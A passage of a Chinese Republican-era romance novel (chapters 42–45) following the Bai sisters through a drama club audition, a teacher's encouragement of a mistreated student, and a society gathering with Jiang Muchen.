经年痴心妄想,一朝得偿所愿,真仿佛做梦一般。他把那对绿玉髓装进首饰盒里,小小的绒面盒子收在手心里一握,暗道:终于终于,这一块璧玉,如今是我的了。 这一阵心潮澎湃直到回到府上亦没有消失。孟西洲坐在书房里,文件抓在手上才看几行字,脸上便不自觉地绽出微笑,时时刻刻,脑子里像被白瑾瑜填满了似的。 这真奇怪,从前求而不得的时候,自己念着她,那是人之常情;可如今他们已然算是在一起了,怎么还是这样牵肠挂肚呢?唉,这大概就是爱情的奥秘所在了吧! 横竖看不进,便把文书丢在一边,重新拿出那只绒面盒子,开开关关,端详着里头那两滴碧绿色。此一时彼一时,如今东西在自己手里,又是瑾瑜曾经佩戴过的,竟也觉得格外顺眼可爱。 正是想得入神的时候,有人敲了敲书房大门,原来是帮着处理日常事务的贾秘书探头进来,手上捏了薄薄两张纸,请示道:“孟先生,那位在裕兴女子教会学堂读书的姚姑娘写了张字条来,说这个月需要多加十块钱的学杂费用——” 贾秘书正奇怪呢,怎么自己说着话,东家一点回应也无。抬头一看,只见孟西洲正把玩着手里一只小盒子,靠着椅背只是不住地微笑,显然没有在听。 于是又叫了几声。 将将把人叫回神,也是满脸的愉悦和气,说:“是公司里的事吗?要是别的小事,你就自己看着决定吧,我今天给自己放个小假,不谈工作。” 贾秘书退了出去,心想东家前阵子不要命似的一心扑在工作上,现在休息休息也是正常,但瞧瞧手上的两页纸,又开始犯难起来。 这个姓姚的女学生也不知是个什么情况,东家从两个月前开始,每月给她家寄三十块钱,再派人领一张成绩单回来,东家自己倒是从不过问,只是让他这个秘书盯着,知道那女学生在安分读书就好。 可自己这个过手成绩单的,看着上头的分数越来越低,好几门功课不及格不说,直到这一次,竟有一门直接缺考了,便觉得这钱给的真冤枉——竟然还敢开口再要十块! 可这花的毕竟也不是自己的钱,何况东家的要求从来只是确保她在念书就行,对成绩的好坏似乎毫不关心,那么这次的要求,是准许还是不准呢?十块钱,也实在只是小钱—— 贾秘书咬了咬牙,还是决定批准了,自然,他不知道这一决定多少给将来引来了一点麻烦事。 第42章 第 42 章 我已经选定了,这就是我…… 不光白瑾瑜和白瑾璎在各自忙碌, 白瑾琪那边,日子同样是过得有滋有味。就白瑾瑜疑心她和学校里的男同学谈恋爱一事,放在一礼拜前并没有说中, 那时候, 她正忙着和两个“宿敌”斗智斗勇哩! 白瑾琪虽说做学问不行, 但清江大学本来也不是什么学问顶尖的学校, 教课的老师睁一眼闭一眼, 只要不是混账到整日不露面,拿一张毕业证书总没有问题。是以白瑾琪直如小鱼入了水,彻底在戏剧社活跃开了! 偏偏这样赶巧,一个月后, 清江大学的戏剧社要在城北的星河剧场, 为一次大型募捐活动排演一出剧目。 时下的大学生们参与社会活动的不少, 这也并不算新把戏了,无非是学生们排演节目, 对外出售门票, 而门票所得钱款则以学校名义进行捐赠。不光学校能博一个美名, 届时总会有小报记者到场, 若是在剧目中扮演主要人物,合照登上报纸, 总归是脸上有光的事。 自然, 这个机会原本轮不上新入社的女孩子们, 可要不然说是巧呢?就读三年级的“当家花旦”因为去郊外练习新式脚踏车, 把腿摔折了,不要说劳心劳力的排练,她本人正绑着夹板叫苦不迭,连日常的上课都告假了。 戏剧社副社长胡小梦——正是在白瑾琪入社表演时大力鼓掌的学姐, 她虽自己不爱演戏,但在统筹以及经费管理上却是一把好手,兼之又是很爱鉴赏戏剧的“戏迷”,如今亦是社团里职权颇大的骨干——大感头痛,拉来社长郑家树吐了一番苦水:“怎么办?眼看着一个月后就要登台了,这节骨眼上李雪檬摔坏了腿,剩下的女成员,哪一个顶用?” 男主角倒不大在意,耸一耸肩说:“二年级的杨眉不行吗?去年毕业晚会的短剧就有她,也算是有登台的经验了。” 胡小梦的眉头皱得更紧,“别!别!你不晓得我们私下里叫她杨瞪眼吗?甭管什么戏,她就只会把眼睛瞪得溜圆,这一次可不是学校里的小打小闹,是在星河剧场的大演出,对着那么多校外人士呀!叫人家知道我们的女主角只会瞪眼,这不是要笑掉别人的大牙吗!” 见郑家树居然也跟着发笑,气得剜了他一眼,急道:“怎么办?你就说怎么办?呵,你不要笑,这一次演的可是罗密欧与朱丽叶,少不了男女主人公的对手戏,到时候她那双眼睛冲你一瞪,你在舞台上能忍着不笑出来?横竖不是我丢脸!” 郑家树果然收了笑脸,好声好气道:“那你看怎么办?我是十二分配合的。你看给我配一个什么女主角好,我都可以搭戏。” 胡小梦把手里的几页台词卷成纸筒,对着掌心边敲边踱着步,半分钟后叹气道:“我没法子,不过既然社里新招了一批女成员,不如选几个出挑的对一对戏?有中意的人选当然最好,实在没有,就让三年级的洪思思上。唉,她表演有些平平,但好歹不吓人呀!” 于是乎,这一个机会,便从天而降了。 胡小梦从新成员中挑出了六个,白瑾琪和程巧书也在此列。周五放学后去小礼堂汇合时一看,发现被戏剧社拒之门外的钱瑞芝竟也跟着程巧书来了,做出一副支持者的样子。 程巧书抢在白瑾琪之前占了个视野更好的位置坐下,坐下后便故作矜持地抬着下巴,好像很瞧她不起的样子。白瑾琪反倒觉得她做作,难道抢了个座位就算是胜利了吗?真可笑。 她对此没反应,偏偏钱瑞芝还来主动招惹她,路过她旁边时重重地冷哼了一声:“朱丽叶可是贵族人家的小姐,也不看自己像不像,可不要画虎不类反成犬了!” 白瑾琪抬起一双杏仁眼,故作天真地回嘴:“钱瑞芝,你家养起狗来了吗?怎么越来越像小狗似的,随时随地就叫唤起来?” 钱瑞芝被她呛得一噎,随即意识到自己是挨了骂了,刚要发怒,就被站在前头舞台上的学姐瞧见了,喊道:“那边怎么回事?咱们试演马上就要开始了,快找个位置坐下,别站着挡人!” 白瑾琪也不像那些被指出问题后便战战兢兢瑟缩回去的小学妹,反而甜甜地一笑,报告道:“没事,没事。是这位同学说话声有些大,我正提醒她呢。” 那学姐受话语的引导,转而打量了钱瑞芝一眼,这一看,才发现竟是张生面孔,当下狐疑道:“同学,你是戏剧社的成员吗?怎么我从没见过你?”说着,人也向钱瑞芝走来。 钱瑞芝一下慌了神,忙解释说自己虽不是社员,却很崇拜戏剧之美,听说今天社里选角,特意来看的。其间又不住地拿眼神瞥向程巧书,以示求救。后者没有法子,只好温温柔柔地站出来为她作证,那学姐才允许她快找个角落的位置坐下。 钱瑞芝铩羽而归,被贬去了角落,一时也不敢再去白瑾琪跟前找茬。而与此同时,正副两位社长也到了。 自郑家树进入礼堂起,程巧书的视线便时不时地落到他身上。这个人实在俊逸非常,又受到众人的推崇,更难得的是为人温柔客气,入社选拔时他冲自己微笑着点头的样子,她到现在都忘不掉哩! 程巧书毕竟家境不坏,从前高高在上惯了,对男生向来是百般挑剔,要说“倾慕”谁,郑家树大概还是头一个哩! 心里不禁暗喜:这个演出机会来得太妙,那学姐的腿也摔得妙!她自认温柔貌美,家世也是不俗,要是能把握住这个同台的机会,还怕不能将他打动吗?到时候,他们郎才女貌的一对走在一处,不知道要收获多少女同学羡慕嫉妒的目光。 至于试演,她早就将一页台词背得滚瓜烂熟,昨晚对着镜子练过两遍不说,今早还特意带上了香粉口红,来礼堂前在脸上淡淡扑过一层,这一份清新美丽,还不够出类拔萃吗?何况又有钱瑞芝在旁边吹捧,显得那女主角的人选,已是她的囊中之物了。 程巧书想得痛快,那边舞台上已经开演了,作为男主角的郑家树在旁边配词,胡小梦则坐在台下审阅着。 看完三个,简直有一些无望了,不是声音太小,嗡嗡嗡的好似蚊蝇;就是僵硬怯场,“罗密欧”不过是握了握她的手,就好一阵激动慌乱,语无伦次了,要是去了坐满观众的大剧场,那还了得? 她比对着候选名单,手里的笔狠狠划掉第三个人的名字,嘴里喊出下一个:“程巧书!程巧书来了吗?” 程巧书如梦初醒,定了定神,客客气气地说:“胡社长,我刚想到人物的神态动作,有一个地方很值得揣摩,不过还没有完全想明白,不如让下一位同学先演吧?” 这当然也是她的谋略之一,六个人选,她排在中间,实在不是容易留下印象的好位置;何况她也略微观察了郑家树的脸色,对于前三位的表演,他显然是不大满意的,若是她压轴出场,又发挥自己的优势,岂不是更能让人印象深刻吗? 胡小梦听她说在揣摩角色,当然不会拒绝,也就点了点头跳过她,报出下一个:“白瑾琪!” 白瑾琪也不管程巧书的小九九,大大方方往台上一站,好似一朵甜美饱满的小玫瑰,可等胡小梦一喊“开始”,那形象便在倏忽之间转变了。 这一幕讲的是罗密欧与朱丽叶互诉衷肠,剧本被改编得很是动人。白瑾琪和郑家树很自然地走了两轮台词,当郑家树握住她的手时,她像是很受触动似的,一双明媚的眼睛热烈又勇敢地回望过去,同时眼里浮起一层水光,如璀璨的钻石一般闪烁着。 动情地表白道:“罗密欧,我也一样!无论命运多么坎坷,我们永远不分离!” 随后,一颗喜极而泣的热泪夺眶而出,砸在郑家树握着她的手背上。分明台词到这里已经结束了,可男主角却像是被她天真又炽热的眼神镇住了似的,久久地握着她的手没有松开。 还是胡小梦最先回过神来,手上的笔都激动得丢开了,站起身来,一连说了三声好。 郑家树微笑着放开手,深深地看了白瑾琪一眼,对胡小梦说:“我已经选定了,这就是我们的女主角,我想,不会有人演得比白同学更好了。” 两位社长一致敲定了人选,没看见后排的程巧书几乎是咬碎了银牙,她费尽心思把自己的顺序往后调换,哪想得到连上台的机会都失掉了!不就是掉了两滴不值钱的眼泪,有什么了不起!她一心的不服,当下提出了异议。 女主角有了着落,胡小梦的燃眉之急解决了,心情也跟着好转不少,露着笑脸问:“哦,是程同学,你刚才说在揣摩女主人公的动作神态,揣摩得如何了?要是有什么好的建议,我们一定接受的。” 程巧书一下又被问住了,她哪里研究过举止神态,不过一味想展示自己的美丽罢了。可是不说一个答案出来,怎么下台?好半晌,才不情不愿地表示,女主角在这里应当流一点喜悦的眼泪。 胡小梦又是惊喜又是赞同:“很对,很对!白同学对主人公的诠释,是完全的正确呀!而且她不光想得出,还做得到,多么难得!”话里话外,都对她赞不绝口。 白瑾琪当选了女主角,心里当然高兴,正想向程巧书送去一个示威的眼神,想不到瞧见她的脸色青白交加,气愤得像是要哭出来一般。那双眼睛里夹杂了一半懊恼一半委屈,幽幽地看向了—— 白瑾琪掏出手绢有一下没一下地擦着眼泪花,一面看向了旁边的郑家树,后者对来自看台的幽怨目光毫无所觉,只看着自己微笑地祝贺:“白同学,你演得真好。” 哎呀,原来如此 白瑾琪一下明白了其中的关窍,只觉得心里那一阵痛快与得意,更胜过单纯赢得一个角色数十倍! 她那阵好胜心一起,原本对郑家树只有两三分的关注,此刻也涨到了六七分,要是对郑家树笑脸相迎就能叫程巧书憋闷气短,还有比这更划算的事吗?于是在这个念头的撺掇下,白瑾瑜对她谈恋爱的猜想,虽然不中,亦是不远了。 第43章 第 43 章 我的明路,我已经找到了…… 明月饭店事后, 白瑾璎多少回过一点味来,把蒋牧城暂放一边不提,要如何对待徐克行, 倒成了一个问题。 徐百富存心利用自己, 若是自己还上赶着替徐克行操心, 那未免太愚昧;可就此将他撇在一边不理睬, 又有违老师教书育人的德行。 思来想去, 还是觉得保持公正,不偏不倚最好:既不过分漠视,也不过分重视,他要是有课业上的问题来问, 自己就答。至于这一次的英文演讲——唉, 随他去吧, 横竖自己已经是尽力了。 至此,她是想照常上课, 不再提演讲比赛的事。想不到一去到学校, 徐克行完全又是她计划之外的样子。 他半边脸颊高高的肿着, 看那上头一道道红痕, 显然是吃了一记很重的耳光,安静地坐在课桌后看书。旁边的梁小山一刻不停地骚扰他, 一下龇牙咧嘴地做出怪样, 鼓起半边脸呼痛, 一下又奚落道:“你瞅瞅, 老子攀错了高枝儿,连带着你小子也吃瓜落,这滋味儿不好受吧?” 另一个孙立学虽没有说话,可架着腿昂着头, 不时地发出几声冷笑,似乎示意着:不要忘记谁才是真佛,别拜错山头了。 可任凭他们一个奚落一个冷笑,徐克行纹丝不动地看他的书,只在白瑾璎踏进教室时,那双执拗的眼睛里抬起,闪烁出孤注一掷的亮光。 白瑾璎老早就注意到了徐克行脸上的伤,却刻意不去朝他看,认认真真地上完一堂课就走。想不到自己前脚刚踏出教室,徐克行便行动起来,小尾巴似的一路跟到了□□办公室,到这个份上,自己再想要刻意忽略,也是不能够了。 白瑾璎轻叹着在自己的工位坐下,到底很不忍心地问道:“脸怎么了?要是孙立学他们打你,可以和班主任做个反馈,把你们的座位调开。” 徐克行摇了摇头说:“不,是我爸打的。”话便戛然而止了。 为什么挨打?想一想,徐百富不光算计自己,可是把蒋牧城也一起算计进去了,连自己都能明白的事,蒋二哥能不清楚吗?他势必要报复回去的。徐百富在蒋牧城那里讨不到好,于是就把气撒在儿子身上? 不论如何,一谈到徐百富,就让人想起和蒋牧城单独关在客房里的经历,白瑾璎自觉羞窘,便沉默着不接话了。 她不说话,徐克行便同样不开口,只顶着半边馒头似的脸深切地望了她一眼,下一秒,从书包里一气儿掏出三四本书,整整齐齐地垒在办公桌上,低头说:“我是来还书的。” 白瑾璎一看,全是自己上星期借给他的外文选读,也顾不上尴尬了,惊讶道:“才一个礼拜,你已经全都看完了吗?” 徐克行的头垂得更低,无颜面对她似的,小声道:“我爸做了不好的事,老师怎么还会愿意借我书呢,不如先还了的好” 白瑾璎把他沮丧至极的样子看在眼里,沉默片刻后问:“你怎么知道你父亲做了不好的事呢?他对你说什么了?” 徐克行这才稍稍抬起头来觑了一眼她的脸色,摇头道:“他周六晚上回来后发了好大一通火,又掀桌子又骂人,说姓白的和姓蒋的沆瀣一气要害他。我不敢去触他的霉头,等第二天才去问外文演讲的事,想不到他劈头就打了我一下,说去他娘的演讲比赛,姓蒋的已经让他吃不了兜着走了,姓白”他顿了顿,换了个称呼,“您也绝不会让我好过的,让我等着被退学。” 对于徐百富的说辞,白瑾璎实在也是无语凝噎,而对于徐克行这半个受害者,同样是硬不下心肠,生硬地澄清道:“我没有那样大的权利,可以让你退学。” 徐克行很落寞地抿了抿唇,接着说:“我爸这个人,从来都只考虑他自己,故而说的话也未必可信。他说您要害他,可您何必害他?无非是您的做法没有称他心意,这就变成害他了。这一点我早已领教过,他叫我和孙立学一伙打好交情,不要害他。其实无非想要借我的力量讨好孙立学的爸爸罢了,怎么就变成我害他了呢?由此可见,不是老师您要害他,恐怕是他要害您了。” “白老师,您替我做说客,我爸爸反而要利用你”他深吸了一口气,“我实在觉得没有脸见您。” 白瑾璎心里一怔,若说先前还对他心存一点疏远,现在也全然消解了,说:“你爸爸是你爸爸,你是你,我不会因为他犯了错就迁怒你。你要是愿意好好学,我总归好好地教你。唉,其实你若真是一心学好,谁又能阻拦你呢?” 徐克行倏地抬头,那眼里闪出细碎的亮光似的,重重点了一点头:“嗯!我爸从前总说,我妈过世时托他好好照顾我,绝不会短我吃穿,可我现在知道满不是这一回事。您看,所有对我好的决定,他竟都是不支持的。那好,我也不必他的支持,外文演讲我会参加,周末的训练我也会去!” 他在激动的情绪之下,顺势表白了一番决心,等说完了,才感到窘迫似的,讷讷地将手背到身后。 白瑾璎却没有任何看轻的表示,微微地笑道:“你有参加比赛的热情,我这个做老师的,又怎么会拒绝?”又问,“要是你爸爸还不同意,怎么办呢?” 徐克行想了想,说:“我从前随他摆布,实在是自己也不知道要什么,浑浑噩噩地度日。现在我一个大活人要做自己的事,他硬要来百般阻拦吗?‘答应了母亲好好照顾我,不短我吃穿,这话他会说,我也会说。要是实在不行,我还有一个姨母,虽然联系得少,但也可以去求求她收留。为我想做的事,吃一点苦,那不算什么。” 白瑾璎看着他,突然感受到做老师的一种别样的激动与满足来,好像把一只险些误入歧途的小羊,牵回了正确的道路。微笑道:“好!你要是有什么困难,再来找我吧,我虽然力量微末,总也可以发动其他老师或校长来洽谈。你父亲要想关住你,那是不能够的。” 徐克行抿着嘴微微地一笑,离开前又瞥了眼桌上的课外书,不知道能不能把它们拿回来,很舍不得似的。 白瑾璎看见了,主动开口道:“你不拿走吗?这几本书可不轻,我辛辛苦苦带过来,你没有看完就要我带回去,岂不是让我白费力气吗?” 徐克行又是激动又是惭愧,轻拿轻放地,很珍爱地把书一本本重新装回书包里。正是这时候,隔壁桌的吴老师带着教案三角尺回来了,看看徐克行,又看看桌上好几本书,随手拿起一本翻了翻,见里头都是画符似的洋文,惊道:“啊呀!你真能看得懂?” 徐克行被问得脸颊发红,默默地收拾书本不做声,反倒是白瑾璎笑着回了一句:“吴老师,所谓人各有长,可不要瞧不起人呀。”这又是一种言语上的支持与鼓舞了。 徐克行沮丧而来,却带着满怀的斗志而归。回到教室坐下后,旁边的孙立学竟冲他开了尊口:“你爸爸最近怪焦头烂额的吧?听说海关那边揪着他不放了,不光新货上不了船,连原先的旧货都成问题,唉,找错了路子就是这样。”停顿一下,斜着眼意有所指道,“做生意最看门路了,诶,要不要我给你指一条明路?” 什么明路,是徐百富的明路,却是他徐克行的堕落之路罢了。 徐克行看了他一眼,冷淡道:“我的明路,我已经找到了。至于他的明路,你要是好心就告诉他,不愿意告诉他,就让他自己摸索去吧。”说罢,拿出下一堂国文课的课本,竟也翻开了,认真看起来。 另一边,蒋牧城虽在明月饭店之后断了联系,但白瑾瑜信誓旦旦,断言他三天之内必定会现身的,这话同样也应验了。 却不是像往常一样开车去到学校门口,顺便接白瑾璎回椿樟街,而是在星期二午休时挂了一通电话去到学校教工联络的电话间。以至于负责接线的老教师来喊她,说你二哥找你说话时,她都没反应过来。 直到把那电话听筒接到手上。 白瑾璎心里又开始惴惴,一时不知怎么开口,只管沉默着。反倒是那边的蒋牧城笑了一声,问:“怎么不说话?” 白瑾璎这才掩饰地一笑,笑过了才发现,这又不是面对面的谈话,电话那头的人根本也看不到呀。心里有一丝别扭,手指也不自觉地绕上电话绳,道:“我是刚接到手上,等着你说话呢。有什么急事吗?怎么不打去家里,反而打到学校?” 话筒凑得脸颊那样近,呼吸声还听不见吗?只是她不承认,蒋牧城也不必去拆穿她,带着笑意说:“打到学校来,一定能联系上你的;打去你家里,要是虞妈接的还好,要是你姐姐那个独断的暴君,电话能不能转到你手上,那是难说的。” 这话实在有几分暧昧的意味,白瑾璎的心一下漏了两拍似的,暗想:这什么意思?蒋二哥从前并不这样说话呀? 她不敢胡乱接话,只避重就轻地问:“怎么会?找我有什么事呢?” 她力求端方庄重,也不知表露了多少在口吻上,只觉得那瞬间的暧昧一下又消弭了,对面也稳重起来,说:“确实是有事,我想请你一道参加周末的交流会。” 第44章 第 44 章 何必在这个时候惹她害羞…… 蒋牧城解释道:“说是交流会, 不过是由政府发起,外交部并教育部协办的一次同乐会罢了。请的人里,社会上的文化名流有之, 与政府达成合作的巨贾有之, 我在海关做事, 也有幸在受邀之列。不过有一条, 到场的宾客都要带上男伴女伴, 你知道我家里那位姐姐,我是请不动她的,只好请你帮一帮忙。” 蒋牧城这个人,轻易不开口说请, 故而但凡他有什么需要(事实上, 他几乎没有提过什么诉求), 白瑾璎没有不尽力去达成的。但想到要赴一场大型的社交会,除却受邀请那一刻的动摇, 显然还是紧张占了上风。 咬着唇, 讷讷道:“我是顶不会应酬的人, 我让姐姐陪你去, 不好吗?” 蒋牧城并不为她一时的拒绝而生气,循循善诱道:“我保证绝不要你应酬, 这样也不去吗?说实话, 我一点不愿找你姐姐, 这是政府举办的宴会, 我又是以海关审查部部长的身份去赴宴,很需要女伴听我的指挥,你想,你姐姐是可以控制的人物吗?” 对面的人没有声音, 显然正在犹豫,蒋牧城便再添一把火道:“何况教育部的领导也会出席,并且来宾之中,就我知道的,便有一位翻译学家。你不是正在做外国文学的翻译吗?正好可以趁此机会为你引荐,我们‘互利互惠,不是很好吗?” 白瑾璎简直没有拒绝他的理由,其实,充当女伴事小,引荐名流事大,无论怎样看,都还是自己占了便宜哩! 纤细的手指将电话绳又绕了一会儿,终于答应道:“那好,只要你别嫌我木讷呆笨,我还是很擅长听人指挥的。”这一件事,就算是说定了。 回家和白瑾瑜说起时,后者的眼睛正黏在一份文件上一目十行看得飞快,闻言点了点头算是同意,过了半晌,像是想来想去不大放心似的,抬头叮嘱道:“我看这种交流会,通常办到下午就结束了,你赶紧让蒋牧城送你回来,要是他再约你做别的,你别答应。” 白瑾璎不明所以,反问道:“吃饭也不行吗?蒋二哥说要替我引荐翻译著作的教授,我一点不表示感谢,那说不过去呀。” 白瑾瑜想了想,松口说:“好吧,可以请他吃饭,吃完了就回家。不许去看夜场电影,也不许去跳舞厅。” 白瑾璎乖觉地点头,心想:大姐姐这话说得真奇怪,不说我从来不去这些地方,就是蒋牧城,也绝不是会请她上跳舞厅的人呀! 只是她不晓得,时下手头宽裕的年轻人,不说百乐门去得轻车熟路,华夏饭店的跳舞总会去看的,往往是顽到夜深了才回。两相比较,她是规矩乖巧到了极点,白瑾瑜愿意放一万个心,可要是加上一个虎视眈眈的蒋牧城,那一根严防死守的神经,可就要绷紧了。 和白瑾瑜的关注点不同,白瑾璎头一次把心思花在了衣着打扮上。 虽说是政府发起的交流会,但有外交部来协理一半,那必然是中西结合的模式。再想蒋牧城所在的海关衙门,多是和海外事务打交道,更是偏向西式的风格。也是,他一向是西装革履的打扮,那自己当他的女伴,在衣着上就先要匹配他才是。 于是翻来翻去,找出一件青灰色塔夫绸的长裙洋装,也不知什么时候买的,簇新的装在系了丝带的成衣盒子里,另配有一双白蕾丝短手套,一次也没穿过的样子。 白瑾璎把洋裙举在身前对着镜子比划,一眼便觉得太过洋气,像橱窗里的外国洋娃娃,反而不像平时的自己,别扭极了。想要换别的,可她一来洋装穿得不多,恐怕换哪件都不大习惯,二来和别的相比,这一件的颜色款式反倒最不扎眼,显得稳重。于是重新比照着,在镜子里细看,看久了,倒看顺眼起来,自己竟觉得不坏。 白瑾璎放下衣服,忽而想起什么似的,又从梳妆台的抽屉里拿出一个绒面盒子,里头正是蒋牧城从前送的那挂珍珠项链,这才真是一次也没戴过哩! 把项链放到衣领处看,莹白配着青灰,又珍珠流转着自然的光晕,实在相得益彰。心想:之前总找不到机会戴一戴,这次既然是陪蒋二哥参加宴会,戴他送的项链,倒也很相当。 于是交流会那一天,白瑾璎穿戴了洋裙手套,另配一挂珍珠项链和耳环,把长头发松松地盘在脑后,收拾妥当后走出房间。 刚好碰上虞妈收完了衣服从露台上下来,眼睛一亮,赞道:“啊呀!今天是去参加朋友的聚会吗?打扮得这样漂亮!” 白瑾璎怪不好意思地微笑:“是,大概晚饭以后,六七点钟就回来了。” 虞妈的眼睛像舍不得从她身上收回来似的,只一个劲儿地欣赏道:“真不坏,真不坏。要我说,你平时就该像这样多打扮打扮,年纪轻轻的女孩子,哪个像你一样不爱装点?”微笑着,把装着衣服的篮子往椅子上一放,欣喜道,“啊呀,我叫瑾瑜小姐也来看看!” 那边白瑾瑜正在书房里核查货量,听见虞妈叫自己,也知道是为什么事,先是心烦道:何必专程看一眼,横竖老二也不是为我打扮的。但转念又想:那又怎样?我先看饱了眼再说,难道平白便宜了蒋牧城吗? 于是一改懒洋洋的姿态,一阵风似的卷到客厅里,拉着白瑾璎的手好一顿横看竖看,依恋不舍地问:“我让司机送你过去吗?” 白瑾璎笑着说:“不用麻烦,蒋二哥说好了在椿樟街口等我。” 没办法,再不情愿,只好放她出门。 大概是在家里被虞妈和白瑾瑜当一件艺术品似的看麻木了,等坐上蒋牧城的汽车,同样被他紧盯不放时,反倒没有那么怵。哭笑不得道:“不要看个不停吧,不认得我了吗?” 蒋牧城这才微笑着转过头,吩咐前面的司机开车。只是没等汽车发动起来,便又扭头过来,那视线由白瑾璎花朵一般柔美的脸颊向下,落到颈间那一盘项链上。 他显然是认出来了,刚要开口说什么,又觉得何必在这个时候惹她害羞,她一害羞,又要躲着人走了。故而虽没有开口,心里却是暗暗欣喜的,那唇角的弧度也就愈发向上扬了。 他的这些心思,白瑾璎可读不懂一点,疑惑道:“你笑什么?” 蒋牧城便说:“没有什么,只是觉得你太自谦。如果你这样也叫作木讷呆笨,那恐怕所有人都想要一个木讷呆笨的女伴了,不过想也没有用,你既然做了我的女伴,那就不能再做别人的女伴,这到底是我的胜利,所以我才笑的。” 这样一番恭维,连前头开车的司机都忍不住“噗嗤”了一声,尽管他很快拿咳嗽遮掩了过去,还是让白瑾璎一阵发窘,只局促地微笑着,并没有接话。 蒋牧城心中警铃大作,唯恐是自己表达的太露骨,把人吓着了。尽管如此,神情却很松弛,仿佛只是不经意的赞许,并没有要紧追不放的意思。 片刻后,又将话题引向别处,说:“教育部的部长一向是早到的,等到了交流会上,我先带你见一见他,认一个脸熟,总没有坏处。” 白瑾璎果然也跟着放松下来,习惯性地点一点头,马上又问:“我也要一起吗?我不过是个中学的外文老师,要说我是教育界的人士,那实在是谈不上,带我见教育部的领导,虽没有坏处,也没有用处呀?” 蒋牧城眼里带着笑意,看她一眼道:“怎么没有用处?各所学校的教育经费,都是由教育部核批的,他打一声招呼,就能让财务部门把手放的松一点,不好吗?同样,学校里的领导和教育部也常有联络,自有消息的渠道,知道经费能及时到位有你几分薄面,当然也会待你更客气些,这里头,可都是有门道的。” 白瑾璎懵懂地消化着这短短几句话,起先一脸受教,很快又沮丧地一叹:“要我学这八面玲珑的门道,我是不成的。” 蒋牧城只觉得她垂头丧气的样子可怜又可爱,笑道:“也不必你去研究这些门道,你做洋文老师,或者以后去海关的外交部门当翻译员,这就很适合你。谁和你说话,都会觉得如沐春风,这可不是谁都有的本领。” 白瑾璎羞赧地微笑着,接受了这一句鼓舞。 汽车渐渐向举办同乐会的饭店靠近,白瑾璎讲起了班上徐克行的事,随后问道:“徐百富的生意真遭受这样大的失败吗?我听说他近来四处求人。你——”眼神闪烁着望了他一眼,“你即便生气他作弄你,也不要故意为难人家吧?这也不好。” 蒋牧城哼笑了一声,说:“我这样闲吗,要故意为难他?姓徐的要是好好做正经生意,我哪里为难得了他?可他偏要在皮衣毛料里夹杂私货,且数量不小,这是明令禁止的,我怎么能抬手放行?” 原来如此,徐百富为了办这批私货,一定所费不小,满以为摆平了蒋牧城便可以挣个盆满钵满,哪成想船被扣下了,私货出不去,连正经的毛皮生意也不能启动,资金当然吃紧得很。 这时候,汽车已停在了佩斯顿饭店的大门外,蒋牧城由另一侧车门先下来,绕过来替白瑾璎开门。后者下了车,还是按捺不住好奇,路上问道:“他夹杂了什么私货?” 鉴于二人离饭店大门很近了,不是探讨违禁货品的好地方,蒋牧城便微微俯身,凑到白瑾璎耳朵边小声说了两个字。 后者猛然抬头,满脸的不可思议,也知道不好再追问了,只小声说:“你没有不好,这件事,我也不再管了。”蒋牧城便满意地对她一笑。 这一番互动,在谈话的当事人而言可能不觉得如何,可在外人看来,到底显得很亲昵。落入陆续到场的其他来宾眼中,自然也是同样的感受。 第45章 第 45 章 我听她喊你二哥,敢问是…… 作为女伴到场的叶小姐就是如此。 她是听到一点风声, 知道蒋牧城受了邀请,便硬是缠着自家堂哥说了一箩筐的好话,这才被带来了交流会, 看到这两人凑近了说悄悄话, 真是抓心挠肺似的难受。 还不光是这样, 她一路观察着, 蒋牧城的胳膊不是任由那位小姐挽着, 就是松松地护在她腰后,做一个保护的姿态,可不是叫她这个暗地里的仰慕者又惊愕又生气吗? 忍不住拉住堂哥抱怨道:“你瞧呀,蒋先生的手就没离开过她, 你什么时候见他对哪位小姐这样过?那人到底是谁?” 叶祖安差点被拉一个踉跄, 好笑道:“我确实是没见过他这样, 不过听你说的,好像你见过人家许多次似的。让我算算你见过他几次——”说罢, 坏笑着开始掰手指, 才掰到第二根便停了, 口中“啧啧”有声。 叶小姐气得要命, 狠狠在他胳膊上拧了一下,两颊飞红道:“见得少有什么要紧, 你没听过一句话, 叫一见如故吗?哎呀, 你不是说他没有女友吗?那么, 那位小姐是谁?好哥哥,帮一帮忙,替我打探一下呀!”说着就要把他往外推。 叶祖安本来是兴致缺缺的,就蒋牧城这副冷淡样子, 对于自己这个堂妹,就差把“敬谢不敏”四个大字写在脸上了,不过碍于合作关系才没有明说,自己何必去讨个没趣? 然而他望过去的时候,正巧赶上白瑾璎将脸转向这一边,啊呀,那一张柔和清新的面容,一下就印到了心里,兴致也跟着喷薄而出了。 与此同时,白瑾璎刚被蒋牧城带着问候了教育部部长。他倒是很有分寸,对于自己的介绍,只停留在姓名及工作上。而教育部长从前想必是认识白齐盛的,听到白瑾璎的名字后,先是惊讶了一瞬,随即立马和蔼地笑看着她道:“很好,很好,想不到白总长的女儿,都这样大了。你父亲唉,如今独立的女孩子很不容易哩,往后有什么困难之处,只管和我说就是!” 目光在白瑾璎与蒋牧城之间看过一圈,又着重念了句,“很好,很不坏。” 白瑾璎也不知道他后一句“很好”所指何处,见蒋牧城微笑着接受了,并没有开口的意思,自己也就不好多话,抿着微笑沉默着。只是脸上无端生出热意,一和教育部长告辞,便喊了声“二哥”,借口去盥洗室跑开了。 她前脚一走,后脚叶祖安便凑到蒋牧城身边,嬉笑着问:“我听她喊你二哥,敢问是你哪一个妹妹?堂亲还是表亲?” 蒋牧城当下蹙起眉头,扭头看他时,神色已经恢复如常了,只说:“叶先生,许久不见了。令尊身体怎么样呢?先前好几次在叶家的饭店里接待外宾,令尊都是极力协助的,请一定替我转达谢意。” 叶祖安摆了摆手,心里有点不耐烦,说:“好说好说,老爷子身体早好了,不过是有事抽不开身,才让我代为出席罢了。”视线仍旧追着白瑾璎的身影,往她离开的方向望去,催问道,“我刚才的问题,你还没回答呢,那是你哪一位妹妹?认识你那么久,怎么你也不引荐一下?” 蒋牧城沉沉地呼吸一下,顷刻之间,整个人向外展示的气场就变化了。一改严谨客气又游刃有余的姿态,竟渐渐释放出威压,像是这问题极其不讨他的喜欢,嘴角抿成一道直线,说:“哪个也不是。” 这还有什么不明白的。 叶祖安自诩是有风度的公子哥,当然做不出抢夺别人女友的事,但心里多少有点忿忿不平,既觉得老天爷真是不讲公平,把什么好事美事,都紧着他蒋牧城了;又郁闷道:难怪从没听见过一点风声,原来姓蒋的也知道怀璧其罪,把人藏得完全捂得严实呢! 想想不大甘心,忍不住酸他一句:“哦,原来是情妹——” 被蒋牧城冷冽的眼刀剐过一下,到底把话咽了回去,随便谈过几句后悻悻然走开了。 